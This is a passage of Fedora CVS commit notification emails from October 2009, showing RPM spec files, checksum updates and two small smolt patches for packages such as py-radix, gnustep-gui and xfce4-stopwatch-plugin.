===================================================================
RCS file: /cvs/extras/rpms/py-radix/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:31:45 -0000	1.1
+++ .cvsignore	13 Oct 2009 17:40:18 -0000	1.2
@@ -0,0 +1 @@
+py-radix-0.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/py-radix/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:31:45 -0000	1.1
+++ sources	13 Oct 2009 17:40:18 -0000	1.2
@@ -0,0 +1 @@
+8c853ce312b769de627d958a1cd6e5a0  py-radix-0.5.tar.gz



From s4504kr at fedoraproject.org  Tue Oct 13 17:42:44 2009
From: s4504kr at fedoraproject.org (Jochen Schmitt)
Date: Tue, 13 Oct 2009 17:42:44 +0000 (UTC)
Subject: rpms/gnustep-gui/F-12 sources,1.1,1.2
Message-ID: <20091013174244.7646711C00E8@cvs1.fedora.phx.redhat.com>

Author: s4504kr

Update of /cvs/extras/rpms/gnustep-gui/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13801

Modified Files:
	sources 
Log Message:
Initial import


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gnustep-gui/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:24:54 -0000	1.1
+++ sources	13 Oct 2009 17:42:44 -0000	1.2
@@ -0,0 +1 @@
+464b80094e438fe0cc8e6ae691b3384c  gnustep-gui-0.16.0.tar.gz



From mdomsch at fedoraproject.org  Tue Oct 13 17:45:18 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue, 13 Oct 2009 17:45:18 +0000 (UTC)
Subject: rpms/py-radix/F-11 py-radix.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091013174518.6CC3A11C00E8@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/py-radix/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14499

Modified Files:
	.cvsignore sources 
Added Files:
	py-radix.spec 
Log Message:
initial import


--- NEW FILE py-radix.spec ---
Name: py-radix
Summary: Radix tree data structure for Python
Version: 0.5
Release: 5%{?dist}
Source0: http://www2.mindrot.org/files/py-radix/py-radix-%{version}.tar.gz
License: BSD with advertising
Group: Development/Libraries
BuildRoot: %{_tmppath}/%{name}-buildroot
BuildRequires: python-devel
Url: http://www.mindrot.org/py-radix.html

%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}


%description
py-radix is an implementation of a radix tree for Python, which 
supports storage and lookups of IPv4 and IPv6 networks. 

The radix tree (a.k.a Patricia tree) is the data structure most 
commonly used for routing table lookups. It efficiently stores 
network prefixes of varying lengths and allows fast lookups of 
containing networks. py-radix's implementation is built solely 
for networks (the data structure itself is more general). 

%prep
%setup -q
rm -f inet_ntop.c strlcpy.c
touch inet_ntop.c strlcpy.c

%build
%{__python} setup.py build

%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install --root=$RPM_BUILD_ROOT

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root)
%{python_sitearch}/radix*
%doc LICENSE README TODO ChangeLog

%changelog
* Mon Oct 12 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-5
- remove inet_ntop.c and strlcpy.c for safety.  They're only used on
  Windows.

* Thu Oct  1 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-4
- more package cleanups during review
  - quiet setup, clean buildroot at install, drop python Requires,
    add dist tag.

* Thu Oct  1 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-2
- update for Fedora packaging guidelines

* Wed Jun 28 2006 Damien Miller <djm at mindrot.org>
- Build RPM


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/py-radix/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:31:45 -0000	1.1
+++ .cvsignore	13 Oct 2009 17:45:18 -0000	1.2
@@ -0,0 +1 @@
+py-radix-0.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/py-radix/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:31:45 -0000	1.1
+++ sources	13 Oct 2009 17:45:18 -0000	1.2
@@ -0,0 +1 @@
+8c853ce312b769de627d958a1cd6e5a0  py-radix-0.5.tar.gz



From mdomsch at fedoraproject.org  Tue Oct 13 17:45:58 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue, 13 Oct 2009 17:45:58 +0000 (UTC)
Subject: rpms/py-radix/F-12 py-radix.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091013174558.D3B4711C00E8@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/py-radix/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14711

Modified Files:
	.cvsignore sources 
Added Files:
	py-radix.spec 
Log Message:
initial import


--- NEW FILE py-radix.spec ---
Name: py-radix
Summary: Radix tree data structure for Python
Version: 0.5
Release: 5%{?dist}
Source0: http://www2.mindrot.org/files/py-radix/py-radix-%{version}.tar.gz
License: BSD with advertising
Group: Development/Libraries
BuildRoot: %{_tmppath}/%{name}-buildroot
BuildRequires: python-devel
Url: http://www.mindrot.org/py-radix.html

%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}


%description
py-radix is an implementation of a radix tree for Python, which 
supports storage and lookups of IPv4 and IPv6 networks. 

The radix tree (a.k.a Patricia tree) is the data structure most 
commonly used for routing table lookups. It efficiently stores 
network prefixes of varying lengths and allows fast lookups of 
containing networks. py-radix's implementation is built solely 
for networks (the data structure itself is more general). 

%prep
%setup -q
rm -f inet_ntop.c strlcpy.c
touch inet_ntop.c strlcpy.c

%build
%{__python} setup.py build

%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install --root=$RPM_BUILD_ROOT

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root)
%{python_sitearch}/radix*
%doc LICENSE README TODO ChangeLog

%changelog
* Mon Oct 12 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-5
- remove inet_ntop.c and strlcpy.c for safety.  They're only used on
  Windows.

* Thu Oct  1 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-4
- more package cleanups during review
  - quiet setup, clean buildroot at install, drop python Requires,
    add dist tag.

* Thu Oct  1 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-2
- update for Fedora packaging guidelines

* Wed Jun 28 2006 Damien Miller <djm at mindrot.org>
- Build RPM


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/py-radix/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:31:45 -0000	1.1
+++ .cvsignore	13 Oct 2009 17:45:58 -0000	1.2
@@ -0,0 +1 @@
+py-radix-0.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/py-radix/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:31:45 -0000	1.1
+++ sources	13 Oct 2009 17:45:58 -0000	1.2
@@ -0,0 +1 @@
+8c853ce312b769de627d958a1cd6e5a0  py-radix-0.5.tar.gz



From s4504kr at fedoraproject.org  Tue Oct 13 17:47:40 2009
From: s4504kr at fedoraproject.org (Jochen Schmitt)
Date: Tue, 13 Oct 2009 17:47:40 +0000 (UTC)
Subject: rpms/gnustep-gui/F-12 gnustep-gui.spec,NONE,1.1
Message-ID: <20091013174740.A229811C00E8@cvs1.fedora.phx.redhat.com>

Author: s4504kr

Update of /cvs/extras/rpms/gnustep-gui/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15218

Added Files:
	gnustep-gui.spec 
Log Message:
Initial import


--- NEW FILE gnustep-gui.spec ---
Name:           gnustep-gui
Version:        0.16.0
Release:        5%{?dist}

Summary:        The GNUstep GUI library
License:        GPLv2+ and GPLv3+
Group:          Development/Libraries

URL:            http://www.gnustep.org
Source:         ftp://ftp.gnustep.org/pub/gnustep/core/%{name}-%{version}.tar.gz

BuildRequires:  gcc-objc
BuildRequires:  libtiff-devel
BuildRequires:  libjpeg-devel
BuildRequires:  libpng-devel
BuildRequires:  cups-devel
BuildRequires:  aspell-devel
BuildRequires:  giflib-devel
BuildRequires:  audiofile-devel
BuildRequires:  portaudio-devel >= 19
BuildRequires:	texinfo, texi2html, texinfo-tex
BuildRequires:  gnustep-make
BuildRequires:  gnustep-base-devel
Requires:       gnustep-base >= 1.15.1
Requires:       %{name}-libs = %{version}-%{release}

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%description 
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

%package libs
Summary:        Libraries for %{name}
Group:          Development/Libraries
License:        LGPLv2+ and LGPLv3+
%description libs
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

This package contains the libraries for %{name}

%package devel
Summary:        Header files for the gnustep-gui package
Group:          Development/Libraries
Requires:       gnustep-make
Requires:       gnustep-base-devel
Requires:       %{name}-libs = %{version}-%{release}

%description devel
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

This package contains the header files for gnustep-gui.

%package doc
Summary:        Documentation for %{name}
Group:          Documentation
BuildArch:      noarch
License:        GFDL
Requires:       %{name} = %{version}-%{release}
Requires(post): /sbin/install-info
Requires(preun): /sbin/install-info

%description doc
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

This package contains the documentation for %{name}

%prep
%setup -q

%build
%configure --with-installation-domain=SYSTEM
make messages=yes
make -C Documentation  messages=yes \
     GNUSTEP_MAKEFILES=%{_libdir}/GNUstep/Makefiles \
     

%install
rm -rf ${RPM_BUILD_ROOT}
make install DESTDIR=${RPM_BUILD_ROOT} GNUSTEP_INSTALLATION_DOMAIN=SYSTEM
make -C Documentation install DESTDIR=${RPM_BUILD_ROOT} \
     GNUSTEP_INSTALLATION_DOMAIN=SYSTEM \
     GNUSTEP_MAKEFILES=%{_libdir}/GNUstep/Makefiles

%clean
rm -rf ${RPM_BUILD_ROOT}

%post libs -p /sbin/ldconfig

%postun libs -p /sbin/ldconfig

%post doc
/sbin/install-info %{_infodir}/AppKit %{_infodir}/dir || :

%preun doc
if [ $1 = 0 ]; then
   /sbin/install-info --delete %{_infodir}/AppKit %{_infodir}/dir || :
fi

%files
%defattr(-,root,root)
%{_bindir}/gnustep_sndd
%{_bindir}/gclose
%{_bindir}/gopen
%{_bindir}/gcloseall
%{_bindir}/make_services
%{_bindir}/set_show_service
%{_libdir}/GNUstep/Bundles/
%{_libdir}/GNUstep/ColorPickers
%{_libdir}/GNUstep/Images/
%{_libdir}/GNUstep/Libraries/gnustep-gui/
%{_libdir}/GNUstep/KeyBindings/
%{_libdir}/GNUstep/PostScript/
%{_libdir}/GNUstep/Services/
%{_mandir}/man1/*

%doc ANNOUNCE BUGS COPYING NEWS README

%files devel
%defattr(-,root,root,-)
%{_includedir}/AppKit/
%{_includedir}/GNUstepGUI/
%{_includedir}/Cocoa/
%{_includedir}/gnustep/gui/
%{_libdir}/libgnustep-gui.so
%{_libdir}/GNUstep/Makefiles/Additional/gui.make

%files libs
%defattr(-,root,root,-)
%{_libdir}/libgnustep-gui.so.*
%doc COPYING.LIB

%files doc
%defattr(-,root,root,-)
%{_infodir}/AppKit.info.gz
%{_datadir}/GNUstep/Documentation/*
%doc Documentation/manual/LICENSE

%changelog
* Tue Oct 13 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-5
- Fix missing BRs

* Tue Sep 29 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-4
- Fix typo

* Sun Sep 27 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-3
- Create separate libs subpackage
- Fix license tag

* Thu Sep 24 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-2
- Rework for new gnustep-make and gnustep-base releases

* Tue Feb 17 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-1
- New upstream release

* Thu Dec 11 2008 Jochen Schmitt <Jochen herr-schmitt de> 0.14.0-2
- Add some missing BRs

* Wed Dec 10 2008 Jochen Schmitt <Jochen herr-schmitt de> 0.14.0-1
- Initional Package



From mmcgrath at fedoraproject.org  Tue Oct 13 17:47:58 2009
From: mmcgrath at fedoraproject.org (Mike McGrath)
Date: Tue, 13 Oct 2009 17:47:58 +0000 (UTC)
Subject: rpms/smolt/devel
	0001-rhpl.iconv-is-not-required-anymore-by-firstboot.patch, NONE,
	1.1 0002-fixes-the-p-option.patch, NONE, 1.1 smolt.spec, 1.76, 1.77
Message-ID: <20091013174758.F150511C00E8@cvs1.fedora.phx.redhat.com>

Author: mmcgrath

Update of /cvs/pkgs/rpms/smolt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15309

Modified Files:
	smolt.spec 
Added Files:
	0001-rhpl.iconv-is-not-required-anymore-by-firstboot.patch 
	0002-fixes-the-p-option.patch 
Log Message:
Fixing firstboot for F-12

0001-rhpl.iconv-is-not-required-anymore-by-firstboot.patch:
 smoltFirstBoot.py |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE 0001-rhpl.iconv-is-not-required-anymore-by-firstboot.patch ---
>From 53273792667e5113972e3de85731123a30c4f288 Mon Sep 17 00:00:00 2001
From: Mike McGrath <mmcgrath at redhat.com>
Date: Tue, 13 Oct 2009 11:46:53 -0500
Subject: [PATCH 1/2] rhpl.iconv is not required anymore by firstboot

---
 client/smoltFirstBoot.py |    1 -
 1 files changed, 0 insertions(+), 1 deletions(-)

diff --git a/client/smoltFirstBoot.py b/client/smoltFirstBoot.py
index 6ce3a2a..9c44d1c 100644
--- a/client/smoltFirstBoot.py
+++ b/client/smoltFirstBoot.py
@@ -3,7 +3,6 @@ import string
 import gtk
 import gobject
 import sys
-import rhpl.iconv
 import os
 import subprocess
 import commands
-- 
1.6.2.5


0002-fixes-the-p-option.patch:
 sendProfile.py |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE 0002-fixes-the-p-option.patch ---
>From 7b61f24db0f7de3ae2d28cdafc983efd2fe46b65 Mon Sep 17 00:00:00 2001
From: Mike McGrath <mmcgrath at redhat.com>
Date: Tue, 13 Oct 2009 11:58:54 -0500
Subject: [PATCH 2/2] fixes the -p option

---
 client/sendProfile.py |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/client/sendProfile.py b/client/sendProfile.py
index ff3a0a9..dcf60a3 100644
--- a/client/sendProfile.py
+++ b/client/sendProfile.py
@@ -164,6 +164,8 @@ if opts.scanOnly:
 
 if not opts.autoSend:
     if opts.printOnly:
+        for line in profile.getProfile():
+            print line
         sys.exit(0)
 
     def inner_indent(text):
-- 
1.6.2.5



Index: smolt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/smolt/devel/smolt.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- smolt.spec	21 Sep 2009 14:15:18 -0000	1.76
+++ smolt.spec	13 Oct 2009 17:47:58 -0000	1.77
@@ -2,12 +2,14 @@ Name: smolt
 
 Summary: Fedora hardware profiler
 Version: 1.4
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+
 Group: Applications/Internet
 URL: http://fedorahosted.org/smolt
 Source: https://fedorahosted.org/releases/s/m/%{name}/%{name}-%{version}.tar.gz
 Patch0: 0001-Client-Hopefully-fix-encoding-trouble.patch
+Patch1: 0001-rhpl.iconv-is-not-required-anymore-by-firstboot.patch
+Patch2: 0002-fixes-the-p-option.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires: dbus-python, python-urlgrabber, gawk, python-paste
@@ -70,6 +72,8 @@ ensure that deps are kept small.
 %prep
 %setup -q
 %patch0 -p1
+%patch1 -p1
+%patch2 -p1
 
 %build
 cd client/
@@ -209,6 +213,9 @@ touch --no-create %{_datadir}/icons/hico
 %{_bindir}/smoltGui
 
 %changelog
+* Tue Oct 13 2009 Mike McGrath <mmcgrath at redhat.com> 1.4-3
+- Fixing firstboot for F-12
+
 * Mon Sep 21 2009 Mike McGrath <mmcgrath at redhat.com> 1.4-2
 - Patched issue with translations (already upstream)
 



From cwickert at fedoraproject.org  Tue Oct 13 17:52:19 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 13 Oct 2009 17:52:19 +0000 (UTC)
Subject: rpms/xfce4-stopwatch-plugin/F-11 xfce4-stopwatch-plugin.spec, NONE, 
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091013175219.2A99B11C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfce4-stopwatch-plugin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16228/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	xfce4-stopwatch-plugin.spec 
Log Message:
initial build of xfce4-stopwatch-plugin for this branch


--- NEW FILE xfce4-stopwatch-plugin.spec ---
# Review: https://bugzilla.redhat.com/show_bug.cgi?id=514351

Name:		xfce4-stopwatch-plugin
Version:	0.2.0
Release:	2%{?dist}
Summary:	Stopwatch plugin for the Xfce panel

Group:		User Interface/Desktops
License:	BSD
URL:		http://goodies.xfce.org/projects/panel-plugins/%{name}
Source0:	http://archive.xfce.org/src/panel-plugins/%{name}/0.2/%{name}-%{version}.tar.bz2
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	xfce4-panel-devel >= 4.0.0, libxfcegui4-devel >= 4.6.0
BuildRequires:	gettext, intltool, libxml2-devel
Requires:	xfce4-panel >= 4.6.0

%description
The xfce-stopwatch-plugin is a panel plugin to keep track of elapsed time. 
There are no ways to configure the plugin at this time, just add it to the 
panel. The time elapsed will be saved when your panel quits and restored next 
time it?s running. If time was ticking, it will not start ticking again 
automatically.


%prep
%setup -q


%build
%configure --disable-static
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT INSTALL='install -p'


%clean
rm -rf $RPM_BUILD_ROOT


%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :


%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files 
%defattr(-,root,root,-)
%doc AUTHORS COPYING NEWS
%{_libexecdir}/xfce4/panel-plugins/%{name}
%{_datadir}/xfce4/panel-plugins/*.desktop
%{_datadir}/icons/hicolor/*/apps/%{name}*


%changelog
* Sat Aug 01 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.0-2
- Fix Source0 URL
- Fix two typos in spec file

* Tue Jul 28 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.0-1
- Initial Fedora package.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-stopwatch-plugin/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:30:43 -0000	1.1
+++ .cvsignore	13 Oct 2009 17:52:18 -0000	1.2
@@ -0,0 +1 @@
+xfce4-stopwatch-plugin-0.2.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-stopwatch-plugin/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:30:43 -0000	1.1
+++ sources	13 Oct 2009 17:52:18 -0000	1.2
@@ -0,0 +1 @@
+2ce672f294ee42cdc49ddbe1a1d8ae96  xfce4-stopwatch-plugin-0.2.0.tar.bz2



From cwickert at fedoraproject.org  Tue Oct 13 17:52:19 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 13 Oct 2009 17:52:19 +0000 (UTC)
Subject: rpms/xfce4-stopwatch-plugin/F-12 xfce4-stopwatch-plugin.spec, NONE, 
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091013175219.51BDC11C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfce4-stopwatch-plugin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16228/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	xfce4-stopwatch-plugin.spec 
Log Message:
initial build of xfce4-stopwatch-plugin for this branch


--- NEW FILE xfce4-stopwatch-plugin.spec ---
# Review: https://bugzilla.redhat.com/show_bug.cgi?id=514351

Name:		xfce4-stopwatch-plugin
Version:	0.2.0
Release:	2%{?dist}
Summary:	Stopwatch plugin for the Xfce panel

Group:		User Interface/Desktops
License:	BSD
URL:		http://goodies.xfce.org/projects/panel-plugins/%{name}
Source0:	http://archive.xfce.org/src/panel-plugins/%{name}/0.2/%{name}-%{version}.tar.bz2
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	xfce4-panel-devel >= 4.0.0, libxfcegui4-devel >= 4.6.0
BuildRequires:	gettext, intltool, libxml2-devel
Requires:	xfce4-panel >= 4.6.0

%description
The xfce-stopwatch-plugin is a panel plugin to keep track of elapsed time. 
There are no ways to configure the plugin at this time, just add it to the 
panel. The time elapsed will be saved when your panel quits and restored next 
time it?s running. If time was ticking, it will not start ticking again 
automatically.


%prep
%setup -q


%build
%configure --disable-static
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT INSTALL='install -p'


%clean
rm -rf $RPM_BUILD_ROOT


%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :


%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files 
%defattr(-,root,root,-)
%doc AUTHORS COPYING NEWS
%{_libexecdir}/xfce4/panel-plugins/%{name}
%{_datadir}/xfce4/panel-plugins/*.desktop
%{_datadir}/icons/hicolor/*/apps/%{name}*


%changelog
* Sat Aug 01 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.0-2
- Fix Source0 URL
- Fix two typos in spec file

* Tue Jul 28 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.0-1
- Initial Fedora package.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-stopwatch-plugin/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:30:43 -0000	1.1
+++ .cvsignore	13 Oct 2009 17:52:19 -0000	1.2
@@ -0,0 +1 @@
+xfce4-stopwatch-plugin-0.2.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-stopwatch-plugin/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:30:43 -0000	1.1
+++ sources	13 Oct 2009 17:52:19 -0000	1.2
@@ -0,0 +1 @@
+2ce672f294ee42cdc49ddbe1a1d8ae96  xfce4-stopwatch-plugin-0.2.0.tar.bz2



From s4504kr at fedoraproject.org  Tue Oct 13 17:52:38 2009
From: s4504kr at fedoraproject.org (Jochen Schmitt)
Date: Tue, 13 Oct 2009 17:52:38 +0000 (UTC)
Subject: rpms/gnustep-gui/F-11 gnustep-gui.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091013175238.7C37B11C00E8@cvs1.fedora.phx.redhat.com>

Author: s4504kr

Update of /cvs/extras/rpms/gnustep-gui/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16338

Modified Files:
	sources 
Added Files:
	gnustep-gui.spec 
Log Message:
Initial import


--- NEW FILE gnustep-gui.spec ---
Name:           gnustep-gui
Version:        0.16.0
Release:        5%{?dist}

Summary:        The GNUstep GUI library
License:        GPLv2+ and GPLv3+
Group:          Development/Libraries

URL:            http://www.gnustep.org
Source:         ftp://ftp.gnustep.org/pub/gnustep/core/%{name}-%{version}.tar.gz

BuildRequires:  gcc-objc
BuildRequires:  libtiff-devel
BuildRequires:  libjpeg-devel
BuildRequires:  libpng-devel
BuildRequires:  cups-devel
BuildRequires:  aspell-devel
BuildRequires:  giflib-devel
BuildRequires:  audiofile-devel
BuildRequires:  portaudio-devel >= 19
BuildRequires:	texinfo, texi2html, texinfo-tex
BuildRequires:  gnustep-make
BuildRequires:  gnustep-base-devel
Requires:       gnustep-base >= 1.15.1
Requires:       %{name}-libs = %{version}-%{release}

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%description 
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

%package libs
Summary:        Libraries for %{name}
Group:          Development/Libraries
License:        LGPLv2+ and LGPLv3+
%description libs
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

This package contains the libraries for %{name}

%package devel
Summary:        Header files for the gnustep-gui package
Group:          Development/Libraries
Requires:       gnustep-make
Requires:       gnustep-base-devel
Requires:       %{name}-libs = %{version}-%{release}

%description devel
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

This package contains the header files for gnustep-gui.

%package doc
Summary:        Documentation for %{name}
Group:          Documentation
BuildArch:      noarch
License:        GFDL
Requires:       %{name} = %{version}-%{release}
Requires(post): /sbin/install-info
Requires(preun): /sbin/install-info

%description doc
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

This package contains the documentation for %{name}

%prep
%setup -q

%build
%configure --with-installation-domain=SYSTEM
make messages=yes
make -C Documentation  messages=yes \
     GNUSTEP_MAKEFILES=%{_libdir}/GNUstep/Makefiles \
     

%install
rm -rf ${RPM_BUILD_ROOT}
make install DESTDIR=${RPM_BUILD_ROOT} GNUSTEP_INSTALLATION_DOMAIN=SYSTEM
make -C Documentation install DESTDIR=${RPM_BUILD_ROOT} \
     GNUSTEP_INSTALLATION_DOMAIN=SYSTEM \
     GNUSTEP_MAKEFILES=%{_libdir}/GNUstep/Makefiles

%clean
rm -rf ${RPM_BUILD_ROOT}

%post libs -p /sbin/ldconfig

%postun libs -p /sbin/ldconfig

%post doc
/sbin/install-info %{_infodir}/AppKit %{_infodir}/dir || :

%preun doc
if [ $1 = 0 ]; then
   /sbin/install-info --delete %{_infodir}/AppKit %{_infodir}/dir || :
fi

%files
%defattr(-,root,root)
%{_bindir}/gnustep_sndd
%{_bindir}/gclose
%{_bindir}/gopen
%{_bindir}/gcloseall
%{_bindir}/make_services
%{_bindir}/set_show_service
%{_libdir}/GNUstep/Bundles/
%{_libdir}/GNUstep/ColorPickers
%{_libdir}/GNUstep/Images/
%{_libdir}/GNUstep/Libraries/gnustep-gui/
%{_libdir}/GNUstep/KeyBindings/
%{_libdir}/GNUstep/PostScript/
%{_libdir}/GNUstep/Services/
%{_mandir}/man1/*

%doc ANNOUNCE BUGS COPYING NEWS README

%files devel
%defattr(-,root,root,-)
%{_includedir}/AppKit/
%{_includedir}/GNUstepGUI/
%{_includedir}/Cocoa/
%{_includedir}/gnustep/gui/
%{_libdir}/libgnustep-gui.so
%{_libdir}/GNUstep/Makefiles/Additional/gui.make

%files libs
%defattr(-,root,root,-)
%{_libdir}/libgnustep-gui.so.*
%doc COPYING.LIB

%files doc
